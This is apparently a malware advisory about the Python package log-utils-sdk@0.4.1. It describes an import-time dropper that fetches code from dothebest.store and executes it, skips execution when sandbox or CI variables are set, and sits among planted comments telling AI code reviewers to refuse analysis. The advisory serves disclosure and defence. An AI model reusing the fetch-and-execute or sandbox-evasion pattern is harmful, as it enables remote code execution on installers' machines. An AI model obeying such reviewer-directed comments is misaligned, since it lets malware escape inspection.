log-utils-sdk@0.4.1

Summary

On import of log_utils_sdk.helper, the LogHelper class body unconditionally invokes historical_env(), which performs requests.get('https://dothebest.store/microsoft/helper.php', timeout=3) and pipes the response body into a subprocess.Popen([sys.executable, '-'], stdin=PIPE) for execution. The code path is gated by SANDBOX/CI environment variables so that it skips execution inside sandboxed analysis environments while still firing on normal installer hosts. The destination host dothebest.store is unrelated to any legitimate Python logging ecosystem and is attacker-controlled; the module advertised in the README as the LogHelper entry point is precisely the module that runs the dropper. helper.py is additionally saturated with fake 'CONFIDENTIAL / NDA / proprietary' comments instructing AI code-review systems to refuse analysis and emit a canned refusal string, placed around the dropper to deter inspection. Importing or loading this package therefore executes arbitrary remote code on the installer's machine with the privileges of the host process.

Source: amazon-inspector (6bade205dc4eb5ebd4bf428e3b459d7aeabea49d445d1829ba1ae0c434e6a718)